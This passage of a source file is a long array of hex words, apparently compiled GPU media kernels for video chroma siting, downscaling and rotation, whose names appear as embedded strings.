0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c,
0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c,
0x0000001e, 0x00000005, 0x00000001, 0x0000004c, 0x00000050, 0x00000006, 0x00000001, 0x0000009c,
0x00000150, 0x00000007, 0x00000001, 0x000001ec, 0x00000002, 0x49504d43, 0x000e0000, 0x00000008,
0x0000019c, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x324c5000, 0x3434345f, 0x61635344, 0x3631656c, 0x6675425f, 0x7065535f, 0x706c415f, 0x345f6168,
0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000030, 0x3fff006a, 0x00000050,
0x3fff006b, 0x000000e0, 0x0000ffff, 0x000001c0, 0x3fff0002, 0x00000200, 0x3fff0003, 0x00000210,
0x3fff0006, 0x00000240, 0x3fff0004, 0x00000250, 0x3fff0005, 0x000002d0, 0x3fff0000, 0x00000390,
0xbfff0050, 0x00000390, 0xbfff0051, 0x000003a0, 0xbfff0058, 0x000003a0, 0xbfff0059, 0x000005b0,
0xbfff004c, 0x00000600, 0xbfff0054, 0x00000690, 0xbfff004a, 0x000006c0, 0xbfff0052, 0x000006f0,
0xbfff004e, 0x00000740, 0xbfff0056, 0x000007d0, 0x3fff0078, 0x000007f0, 0x3fff0077, 0x00000920,
0x3fff0076, 0x00000980, 0xbfff004d, 0x000009a0, 0x0009006d, 0x000009a0, 0x0009006e, 0x000009a0,
0x0009006f, 0x000009a0, 0x00090070, 0x000009a0, 0x00090071, 0x000009c0, 0xbfff0055, 0x000009e0,
0x3fff0074, 0x00000a00, 0xbfff004b, 0x00000a10, 0x3fff0075, 0x00000a30, 0xbfff0053, 0x00000a40,
0x3fff0072, 0x00000a60, 0xbfff004f, 0x00000a70, 0x3fff0073, 0x00000a90, 0x3fff006c, 0x00000a90,
0xbfff0057, 0x00000ab0, 0xbfff006b, 0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000,
0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000,
0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x00000021,
0x00000005, 0x00000001, 0x00000050, 0x00000028, 0x00000006, 0x00000001, 0x00000078, 0x00000120,
0x00000007, 0x00000001, 0x00000198, 0x00000002, 0x00000000, 0x49504d43, 0x000e0000, 0x00000008,
0x0000019c, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x324c5000, 0x3434345f, 0x61635344, 0x3631656c, 0x6675425f, 0x7065535f, 0x706c415f, 0x355f6168,
0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000030, 0x3fff006a, 0x00000050,
0x3fff006b, 0x000000e0, 0x0000ffff, 0x000001c0, 0x3fff0002, 0x00000200, 0x3fff0003, 0x00000210,
0x3fff0006, 0x00000240, 0x3fff0004, 0x00000250, 0x3fff0005, 0x000002d0, 0x3fff0000, 0x00000390,
0xbfff0060, 0x00000390, 0xbfff0061, 0x000003a0, 0xbfff0068, 0x000003a0, 0xbfff0069, 0x000005c0,
0xbfff005c, 0x00000610, 0xbfff0064, 0x000006a0, 0xbfff005a, 0x000006d0, 0xbfff0062, 0x00000700,
0xbfff005e, 0x00000750, 0xbfff0066, 0x000007e0, 0x3fff0078, 0x00000800, 0x3fff0077, 0x00000930,
0x3fff0076, 0x00000990, 0xbfff005d, 0x000009b0, 0x0009006d, 0x000009b0, 0x0009006e, 0x000009b0,
0x0009006f, 0x000009b0, 0x00090070, 0x000009b0, 0x00090071, 0x000009d0, 0xbfff0065, 0x000009f0,
0x3fff0074, 0x00000a10, 0xbfff005b, 0x00000a20, 0x3fff0075, 0x00000a40, 0xbfff0063, 0x00000a50,
0x3fff0072, 0x00000a70, 0xbfff005f, 0x00000a80, 0x3fff0073, 0x00000aa0, 0x3fff006c, 0x00000aa0,
0xbfff0067, 0x00000ac0, 0xbfff006b, 0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000,
0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000,
0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x00000021,
0x00000005, 0x00000001, 0x00000050, 0x00000028, 0x00000006, 0x00000001, 0x00000078, 0x00000120,
0x00000007, 0x00000001, 0x00000198, 0x00000002, 0x00000000, 0x49504d43, 0x000e0000, 0x00000008,
0x000001dc, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x324c5000, 0x3434345f, 0x61635344, 0x3631656c, 0x7268435f, 0x53616d6f, 0x6e697469, 0x75425f67,
0x00305f66, 0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000020, 0x8001006d, 0x00000030,
0x3fff0009, 0x00000040, 0xbfff006e, 0x00000050, 0xbfff006b, 0x00000090, 0x0000ffff, 0x000000f0,
0x3fff0001, 0x00000230, 0x3fff0006, 0x00000240, 0x3fff0005, 0x00000250, 0x3fff0000, 0x00000340,
0xbfff0010, 0x00000340, 0xbfff0011, 0x00000350, 0xbfff0018, 0x00000350, 0xbfff0019, 0x000005a0,
0xbfff000c, 0x000005c0, 0xbfff0014, 0x00000650, 0xbfff000a, 0x00000680, 0xbfff0012, 0x00000750,
0xbfff000e, 0x00000760, 0xbfff0016, 0x00000810, 0x3fff0003, 0x00000890, 0x3fff0004, 0x000008e0,
0x3fff0074, 0x00000940, 0x3fff0002, 0x000009c0, 0x3fff0075, 0x000009d0, 0x3fff0077, 0x000009e0,
0x3fff0076, 0x000009e0, 0xbfff000d, 0x000009f0, 0x3fff0078, 0x000009f0, 0xbfff0015, 0x00000a00,
0x3fff007b, 0x00000a10, 0x3fff007c, 0x00000a20, 0x3fff0079, 0x00000a30, 0x3fff007d, 0x00000a30,
0x3fff007a, 0x00000a40, 0x3fff006c, 0x00000a50, 0x3fff006e, 0x00000a60, 0x3fff0070, 0x00000a70,
0x3fff0072, 0x00000a80, 0x3fff006d, 0x00000a80, 0xbfff000b, 0x00000a90, 0x3fff006f, 0x00000a90,
0xbfff0013, 0x00000aa0, 0x3fff0071, 0x00000aa0, 0xbfff000f, 0x00000ab0, 0x3fff0073, 0x00000ab0,
0xbfff0017, 0x00000ad0, 0xbfff006b, 0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000,
0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000,
0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x00000024,
0x00000005, 0x00000001, 0x00000050, 0x00000038, 0x00000006, 0x00000001, 0x00000088, 0x00000150,
0x00000007, 0x00000001, 0x000001d8, 0x00000002, 0x00000000, 0x49504d43, 0x000e0000, 0x00000008,
0x000001ac, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x324c5000, 0x3434345f, 0x61635344, 0x3631656c, 0x7268435f, 0x53616d6f, 0x6e697469, 0x75425f67,
0x5f305f66, 0x5f746f52, 0x00303831, 0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000030,
0x3fff0009, 0x00000060, 0xbfff006b, 0x00000090, 0x0000ffff, 0x000000b0, 0x3fff0001, 0x000001f0,
0x3fff0000, 0x00000260, 0x3fff0006, 0x000002b0, 0x3fff0005, 0x000002c0, 0xbfff0010, 0x000002c0,
0xbfff0011, 0x00000370, 0xbfff0018, 0x00000370, 0xbfff0019, 0x000005c0, 0xbfff000c, 0x00000610,
0xbfff0014, 0x000006a0, 0xbfff000a, 0x000006d0, 0xbfff0012, 0x00000700, 0xbfff000e, 0x00000750,
0xbfff0016, 0x00000820, 0x3fff0078, 0x00000840, 0x3fff0077, 0x00000840, 0x3fff0003, 0x00000890,
0x3fff0004, 0x000009d0, 0x3fff0002, 0x00000a10, 0xbfff000d, 0x00000a30, 0x0009006d, 0x00000a30,
0x0009006e, 0x00000a30, 0x0009006f, 0x00000a30, 0x00090070, 0x00000a30, 0x00090071, 0x00000a50,
0xbfff0015, 0x00000a70, 0x3fff0074, 0x00000a90, 0xbfff000b, 0x00000aa0, 0x3fff0075, 0x00000ac0,
0xbfff0013, 0x00000ad0, 0x3fff0072, 0x00000af0, 0xbfff000f, 0x00000b00, 0x3fff0076, 0x00000b00,
0x3fff0073, 0x00000b20, 0x3fff006c, 0x00000b20, 0xbfff0017, 0x00000b40, 0xbfff006b, 0x00000000,
0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000,
0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018,
0x00000004, 0x00000000, 0x0000002c, 0x0000002c, 0x00000005, 0x00000001, 0x00000058, 0x00000028,
0x00000006, 0x00000001, 0x00000080, 0x00000128, 0x00000007, 0x00000001, 0x000001a8, 0x00000002,
0x00000000, 0x49504d43, 0x000e0000, 0x00000008, 0x000001dc, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x324c5000, 0x3434345f, 0x61635344, 0x3631656c,
0x7268435f, 0x53616d6f, 0x6e697469, 0x75425f67, 0x5f305f66, 0x5f746f52, 0x00303732, 0x00000000,
0x00000000, 0x00000000, 0x8000006c, 0x00000020, 0x8001006d, 0x00000030, 0x3fff0009, 0x00000040,
0xbfff006e, 0x00000050, 0xbfff006b, 0x00000090, 0x0000ffff, 0x000000f0, 0x3fff0001, 0x00000240,
0x3fff0006, 0x00000260, 0x3fff0005, 0x00000270, 0x3fff0000, 0x00000360, 0xbfff0010, 0x00000360,
0xbfff0011, 0x00000370, 0xbfff0018, 0x00000370, 0xbfff0019, 0x000005c0, 0xbfff000c, 0x000005e0,
0xbfff0014, 0x00000670, 0xbfff000a, 0x000006a0, 0xbfff0012, 0x00000770, 0xbfff000e, 0x00000780,
0xbfff0016, 0x00000830, 0x3fff0004, 0x000008b0, 0x3fff0003, 0x00000960, 0x3fff0002, 0x000009e0,
0x3fff0074, 0x000009f0, 0x3fff0076, 0x00000a00, 0x3fff0075, 0x00000a00, 0xbfff000d, 0x00000a10,
0x3fff0077, 0x00000a10, 0xbfff0015, 0x00000a20, 0x3fff007a, 0x00000a30, 0x3fff007b, 0x00000a40,
0x3fff0078, 0x00000a50, 0x3fff007c, 0x00000a50, 0x3fff0079, 0x00000a60, 0x3fff006c, 0x00000a70,
0x3fff006e, 0x00000a80, 0x3fff0070, 0x00000a90, 0x3fff0072, 0x00000aa0, 0x3fff006d, 0x00000aa0,
0xbfff000b, 0x00000ab0, 0x3fff006f, 0x00000ab0, 0xbfff0013, 0x00000ac0, 0x3fff0071, 0x00000ac0,
0xbfff000f, 0x00000ad0, 0x3fff0073, 0x00000ad0, 0xbfff0017, 0x00000af0, 0xbfff006b, 0x00000000,
0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000,
0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018,
0x00000004, 0x00000000, 0x0000002c, 0x0000002c, 0x00000005, 0x00000001, 0x00000058, 0x00000038,
0x00000006, 0x00000001, 0x00000090, 0x00000148, 0x00000007, 0x00000001, 0x000001d8, 0x00000002,
0x00000000, 0x49504d43, 0x000e0000, 0x00000008, 0x000001ac, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x324c5000, 0x3434345f, 0x61635344, 0x3631656c,
0x7268435f, 0x53616d6f, 0x6e697469, 0x75425f67, 0x5f305f66, 0x5f746f52, 0x00003039, 0x00000000,
0x00000000, 0x00000000, 0x8000006c, 0x00000030, 0x3fff0009, 0x00000060, 0xbfff006b, 0x00000090,
0x0000ffff, 0x000000b0, 0x3fff0001, 0x00000220, 0x3fff0006, 0x00000230, 0x3fff0005, 0x00000250,
0x3fff0000, 0x00000340, 0xbfff0010, 0x00000340, 0xbfff0011, 0x00000350, 0xbfff0018, 0x00000350,
0xbfff0019, 0x000005a0, 0xbfff000c, 0x000005f0, 0xbfff0014, 0x00000690, 0xbfff000a, 0x000006c0,
0xbfff0012, 0x000006f0, 0xbfff000e, 0x00000740, 0xbfff0016, 0x00000850, 0x3fff0003, 0x00000860,
0x3fff0078, 0x00000870, 0x3fff0077, 0x00000870, 0x3fff0004, 0x000009b0, 0x3fff0002, 0x000009f0,
0xbfff000d, 0x00000a10, 0x0009006d, 0x00000a10, 0x0009006e, 0x00000a10, 0x0009006f, 0x00000a10,
0x00090070, 0x00000a10, 0x00090071, 0x00000a30, 0xbfff0015, 0x00000a50, 0x3fff0074, 0x00000a70,
0xbfff000b, 0x00000a80, 0x3fff0075, 0x00000aa0, 0xbfff0013, 0x00000ab0, 0x3fff0072, 0x00000ad0,
0xbfff000f, 0x00000ae0, 0x3fff0076, 0x00000ae0, 0x3fff0073, 0x00000b00, 0x3fff006c, 0x00000b00,
0xbfff0017, 0x00000b20, 0xbfff006b, 0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000,
0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000,
0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x0000002b,
0x00000005, 0x00000001, 0x00000058, 0x00000028, 0x00000006, 0x00000001, 0x00000080, 0x00000128,
0x00000007, 0x00000001, 0x000001a8, 0x00000002, 0x00000000, 0x49504d43, 0x000e0000, 0x00000008,
0x000001dc, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x324c5000, 0x3434345f, 0x61635344, 0x3631656c, 0x7268435f, 0x53616d6f, 0x6e697469, 0x75425f67,
0x00315f66, 0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000020, 0x8001006d, 0x00000030,
0x3fff0009, 0x00000040, 0xbfff006e, 0x00000060, 0xbfff006b, 0x000000a0, 0x0000ffff, 0x00000100,
0x3fff0001, 0x00000240, 0x3fff0006, 0x00000250, 0x3fff0005, 0x00000260, 0x3fff0000, 0x00000350,
0xbfff0020, 0x00000350, 0xbfff0021, 0x00000360, 0xbfff0028, 0x00000360, 0xbfff0029, 0x000005c0,
0xbfff001c, 0x000005f0, 0xbfff0024, 0x00000640, 0x3fff007c, 0x00000670, 0xbfff001a, 0x000006e0,
0xbfff001e, 0x00000770, 0xbfff0026, 0x00000780, 0xbfff0022, 0x00000830, 0x3fff0003, 0x00000890,
0x3fff0004, 0x00000910, 0x3fff0074, 0x00000970, 0x3fff0002, 0x000009e0, 0x3fff0073, 0x000009f0,
0x3fff0072, 0x000009f0, 0xbfff001d, 0x00000a00, 0x3fff0075, 0x00000a00, 0xbfff0025, 0x00000a10,
0x3fff0078, 0x00000a20, 0x3fff0079, 0x00000a30, 0x3fff0076, 0x00000a40, 0x3fff007d, 0x00000a40,
0x3fff0077, 0x00000a50, 0x3fff007a, 0x00000a60, 0x3fff006c, 0x00000a70, 0x3fff006e, 0x00000a80,
0x3fff0070, 0x00000a90, 0x3fff007b, 0x00000a90, 0xbfff001b, 0x00000aa0, 0x3fff006d, 0x00000aa0,
0xbfff0023, 0x00000ab0, 0x3fff006f, 0x00000ab0, 0xbfff001f, 0x00000ac0, 0x3fff0071, 0x00000ac0,
0xbfff0027, 0x00000ae0, 0xbfff006b, 0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000,
0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000,
0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x00000024,
0x00000005, 0x00000001, 0x00000050, 0x00000038, 0x00000006, 0x00000001, 0x00000088, 0x00000150,
0x00000007, 0x00000001, 0x000001d8, 0x00000002, 0x00000000, 0x49504d43, 0x000e0000, 0x00000008,
0x000001ac, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x324c5000, 0x3434345f, 0x61635344, 0x3631656c, 0x7268435f, 0x53616d6f, 0x6e697469, 0x75425f67,
0x5f315f66, 0x5f746f52, 0x00303831, 0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000030,
0x3fff0009, 0x00000070, 0xbfff006b, 0x000000a0, 0x0000ffff, 0x000000c0, 0x3fff0001, 0x00000200,
0x3fff0000, 0x00000270, 0x3fff0006, 0x000002c0, 0x3fff0005, 0x000002d0, 0xbfff0020, 0x000002d0,
0xbfff0021, 0x00000380, 0xbfff0028, 0x00000380, 0xbfff0029, 0x000005e0, 0xbfff001c, 0x00000630,
0xbfff0024, 0x000006c0, 0xbfff001a, 0x000006f0, 0xbfff0022, 0x00000720, 0xbfff001e, 0x00000770,
0xbfff0026, 0x00000840, 0x3fff0078, 0x00000860, 0x3fff0077, 0x00000860, 0x3fff0003, 0x000008b0,
0x3fff0004, 0x000009f0, 0x3fff0002, 0x00000a30, 0xbfff001d, 0x00000a50, 0x0009006d, 0x00000a50,
0x0009006e, 0x00000a50, 0x0009006f, 0x00000a50, 0x00090070, 0x00000a50, 0x00090071, 0x00000a70,
0xbfff0025, 0x00000a90, 0x3fff0074, 0x00000ab0, 0xbfff001b, 0x00000ac0, 0x3fff0075, 0x00000ae0,
0xbfff0023, 0x00000af0, 0x3fff0072, 0x00000b10, 0xbfff001f, 0x00000b20, 0x3fff0076, 0x00000b20,
0x3fff0073, 0x00000b40, 0x3fff006c, 0x00000b40, 0xbfff0027, 0x00000b60, 0xbfff006b, 0x00000000,
0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000,
0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018,
0x00000004, 0x00000000, 0x0000002c, 0x0000002c, 0x00000005, 0x00000001, 0x00000058, 0x00000028,
0x00000006, 0x00000001, 0x00000080, 0x00000128, 0x00000007, 0x00000001, 0x000001a8, 0x00000002,
0x00000000, 0x49504d43, 0x000e0000, 0x00000008, 0x000001dc, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x324c5000, 0x3434345f, 0x61635344, 0x3631656c,
0x7268435f, 0x53616d6f, 0x6e697469, 0x75425f67, 0x5f315f66, 0x5f746f52, 0x00303732, 0x00000000,
0x00000000, 0x00000000, 0x8000006c, 0x00000020, 0x8001006d, 0x00000030, 0x3fff0009, 0x00000040,
0xbfff006e, 0x00000060, 0xbfff006b, 0x000000a0, 0x0000ffff, 0x00000100, 0x3fff0001, 0x00000250,
0x3fff0006, 0x00000270, 0x3fff0005, 0x00000280, 0x3fff0000, 0x00000370, 0xbfff0020, 0x00000370,
0xbfff0021, 0x00000380, 0xbfff0028, 0x00000380, 0xbfff0029, 0x000005e0, 0xbfff001c, 0x00000610,
0xbfff0024, 0x00000690, 0xbfff001a, 0x00000710, 0xbfff001e, 0x00000730, 0xbfff0026, 0x000007a0,
0xbfff0022, 0x00000860, 0x3fff0004, 0x00000900, 0x3fff0003, 0x00000930, 0x3fff0073, 0x00000980,
0x3fff0002, 0x000009b0, 0x3fff007b, 0x00000a10, 0x3fff0072, 0x00000a20, 0xbfff001d, 0x00000a30,
0x3fff0074, 0x00000a30, 0xbfff0025, 0x00000a40, 0x3fff0077, 0x00000a50, 0x3fff0078, 0x00000a60,
0x3fff0075, 0x00000a70, 0x3fff007c, 0x00000a70, 0x3fff0076, 0x00000a80, 0x3fff0079, 0x00000a90,
0x3fff006c, 0x00000aa0, 0x3fff006e, 0x00000ab0, 0x3fff0070, 0x00000ac0, 0x3fff007a, 0x00000ac0,
0xbfff001b, 0x00000ad0, 0x3fff006d, 0x00000ad0, 0xbfff0023, 0x00000ae0, 0x3fff006f, 0x00000ae0,
0xbfff001f, 0x00000af0, 0x3fff0071, 0x00000af0, 0xbfff0027, 0x00000b10, 0xbfff006b, 0x00000000,
0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000,
0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018,
0x00000004, 0x00000000, 0x0000002c, 0x0000002c, 0x00000005, 0x00000001, 0x00000058, 0x00000038,
0x00000006, 0x00000001, 0x00000090, 0x00000148, 0x00000007, 0x00000001, 0x000001d8, 0x00000002,
0x00000000, 0x49504d43, 0x000e0000, 0x00000008, 0x000001ac, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x324c5000, 0x3434345f, 0x61635344, 0x3631656c,
0x7268435f, 0x53616d6f, 0x6e697469, 0x75425f67, 0x5f315f66, 0x5f746f52, 0x00003039, 0x00000000,
0x00000000, 0x00000000, 0x8000006c, 0x00000030, 0x3fff0009, 0x00000070, 0xbfff006b, 0x000000a0,
0x0000ffff, 0x000000c0, 0x3fff0001, 0x00000230, 0x3fff0006, 0x00000240, 0x3fff0005, 0x00000260,
0x3fff0000, 0x00000350, 0xbfff0020, 0x00000350, 0xbfff0021, 0x00000360, 0xbfff0028, 0x00000360,
0xbfff0029, 0x000005c0, 0xbfff001c, 0x00000610, 0xbfff0024, 0x000006b0, 0xbfff001a, 0x000006e0,
0xbfff0022, 0x00000710, 0xbfff001e, 0x00000760, 0xbfff0026, 0x00000870, 0x3fff0003, 0x00000880,
0x3fff0078, 0x00000890, 0x3fff0077, 0x00000890, 0x3fff0004, 0x000009d0, 0x3fff0002, 0x00000a10,
0xbfff001d, 0x00000a30, 0x0009006d, 0x00000a30, 0x0009006e, 0x00000a30, 0x0009006f, 0x00000a30,
0x00090070, 0x00000a30, 0x00090071, 0x00000a50, 0xbfff0025, 0x00000a70, 0x3fff0074, 0x00000a90,
0xbfff001b, 0x00000aa0, 0x3fff0075, 0x00000ac0, 0xbfff0023, 0x00000ad0, 0x3fff0072, 0x00000af0,
0xbfff001f, 0x00000b00, 0x3fff0076, 0x00000b00, 0x3fff0073, 0x00000b20, 0x3fff006c, 0x00000b20,
0xbfff0027, 0x00000b40, 0xbfff006b, 0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000,
0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000,
0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x0000002b,
0x00000005, 0x00000001, 0x00000058, 0x00000028, 0x00000006, 0x00000001, 0x00000080, 0x00000128,
0x00000007, 0x00000001, 0x000001a8, 0x00000002, 0x00000000, 0x49504d43, 0x000e0000, 0x00000008,
0x000001dc, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x324c5000, 0x3434345f, 0x61635344, 0x3631656c, 0x7268435f, 0x53616d6f, 0x6e697469, 0x75425f67,
0x00325f66, 0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000020, 0x8001006d, 0x00000030,
0x3fff0009, 0x00000040, 0xbfff006e, 0x00000050, 0xbfff006b, 0x00000090, 0x0000ffff, 0x000000f0,
0x3fff0001, 0x00000230, 0x3fff0006, 0x00000240, 0x3fff0005, 0x00000250, 0x3fff0000, 0x00000340,
0xbfff0030, 0x00000340, 0xbfff0031, 0x00000350, 0xbfff0038, 0x00000350, 0xbfff0039, 0x000005b0,
0xbfff002c, 0x000005e0, 0xbfff0034, 0x00000630, 0x3fff007c, 0x00000660, 0xbfff002a, 0x000006d0,
0xbfff002e, 0x00000760, 0xbfff0036, 0x00000770, 0xbfff0032, 0x00000820, 0x3fff0003, 0x00000880,
0x3fff0004, 0x00000900, 0x3fff0074, 0x00000960, 0x3fff0002, 0x000009d0, 0x3fff0073, 0x000009e0,
0x3fff0072, 0x000009e0, 0xbfff002d, 0x000009f0, 0x3fff0075, 0x000009f0, 0xbfff0035, 0x00000a00,
0x3fff0078, 0x00000a10, 0x3fff0079, 0x00000a20, 0x3fff0076, 0x00000a30, 0x3fff007d, 0x00000a30,
0x3fff0077, 0x00000a40, 0x3fff007a, 0x00000a50, 0x3fff006c, 0x00000a60, 0x3fff006e, 0x00000a70,
0x3fff0070, 0x00000a80, 0x3fff007b, 0x00000a80, 0xbfff002b, 0x00000a90, 0x3fff006d, 0x00000a90,
0xbfff0033, 0x00000aa0, 0x3fff006f, 0x00000aa0, 0xbfff002f, 0x00000ab0, 0x3fff0071, 0x00000ab0,
0xbfff0037, 0x00000ad0, 0xbfff006b, 0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000,
0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000,
0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x00000024,
0x00000005, 0x00000001, 0x00000050, 0x00000038, 0x00000006, 0x00000001, 0x00000088, 0x00000150,
0x00000007, 0x00000001, 0x000001d8, 0x00000002, 0x00000000, 0x49504d43, 0x000e0000, 0x00000008,
0x000001ac, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x324c5000, 0x3434345f, 0x61635344, 0x3631656c, 0x7268435f, 0x53616d6f, 0x6e697469, 0x75425f67,
0x5f325f66, 0x5f746f52, 0x00303831, 0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000030,
0x3fff0009, 0x00000060, 0xbfff006b, 0x00000090, 0x0000ffff, 0x000000b0, 0x3fff0001, 0x000001f0,
0x3fff0000, 0x00000260, 0x3fff0006, 0x000002b0, 0x3fff0005, 0x000002c0, 0xbfff0030, 0x000002c0,
0xbfff0031, 0x00000370, 0xbfff0038, 0x00000370, 0xbfff0039, 0x000005d0, 0xbfff002c, 0x00000620,
0xbfff0034, 0x000006b0, 0xbfff002a, 0x000006e0, 0xbfff0032, 0x00000710, 0xbfff002e, 0x00000760,
0xbfff0036, 0x00000830, 0x3fff0078, 0x00000850, 0x3fff0077, 0x00000850, 0x3fff0003, 0x000008a0,
0x3fff0004, 0x000009e0, 0x3fff0002, 0x00000a20, 0xbfff002d, 0x00000a40, 0x0009006d, 0x00000a40,
0x0009006e, 0x00000a40, 0x0009006f, 0x00000a40, 0x00090070, 0x00000a40, 0x00090071, 0x00000a60,
0xbfff0035, 0x00000a80, 0x3fff0074, 0x00000aa0, 0xbfff002b, 0x00000ab0, 0x3fff0075, 0x00000ad0,
0xbfff0033, 0x00000ae0, 0x3fff0072, 0x00000b00, 0xbfff002f, 0x00000b10, 0x3fff0076, 0x00000b10,
0x3fff0073, 0x00000b30, 0x3fff006c, 0x00000b30, 0xbfff0037, 0x00000b50, 0xbfff006b, 0x00000000,
0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000,
0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018,
0x00000004, 0x00000000, 0x0000002c, 0x0000002c, 0x00000005, 0x00000001, 0x00000058, 0x00000028,
0x00000006, 0x00000001, 0x00000080, 0x00000128, 0x00000007, 0x00000001, 0x000001a8, 0x00000002,
0x00000000, 0x49504d43, 0x000e0000, 0x00000008, 0x000001dc, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x324c5000, 0x3434345f, 0x61635344, 0x3631656c,
0x7268435f, 0x53616d6f, 0x6e697469, 0x75425f67, 0x5f325f66, 0x5f746f52, 0x00303732, 0x00000000,
0x00000000, 0x00000000, 0x8000006c, 0x00000020, 0x8001006d, 0x00000030, 0x3fff0009, 0x00000040,
0xbfff006e, 0x00000050, 0xbfff006b, 0x00000090, 0x0000ffff, 0x000000f0, 0x3fff0001, 0x00000240,
0x3fff0006, 0x00000260, 0x3fff0005, 0x00000270, 0x3fff0000, 0x00000360, 0xbfff0030, 0x00000360,
0xbfff0031, 0x00000370, 0xbfff0038, 0x00000370, 0xbfff0039, 0x000005d0, 0xbfff002c, 0x00000600,
0xbfff0034, 0x00000680, 0xbfff002a, 0x00000700, 0xbfff002e, 0x00000720, 0xbfff0036, 0x00000790,
0xbfff0032, 0x00000850, 0x3fff0004, 0x000008f0, 0x3fff0003, 0x00000920, 0x3fff0073, 0x00000970,
0x3fff0002, 0x000009a0, 0x3fff007b, 0x00000a00, 0x3fff0072, 0x00000a10, 0xbfff002d, 0x00000a20,
0x3fff0074, 0x00000a20, 0xbfff0035, 0x00000a30, 0x3fff0077, 0x00000a40, 0x3fff0078, 0x00000a50,
0x3fff0075, 0x00000a60, 0x3fff007c, 0x00000a60, 0x3fff0076, 0x00000a70, 0x3fff0079, 0x00000a80,
0x3fff006c, 0x00000a90, 0x3fff006e, 0x00000aa0, 0x3fff0070, 0x00000ab0, 0x3fff007a, 0x00000ab0,
0xbfff002b, 0x00000ac0, 0x3fff006d, 0x00000ac0, 0xbfff0033, 0x00000ad0, 0x3fff006f, 0x00000ad0,
0xbfff002f, 0x00000ae0, 0x3fff0071, 0x00000ae0, 0xbfff0037, 0x00000b00, 0xbfff006b, 0x00000000,
0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000,
0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018,
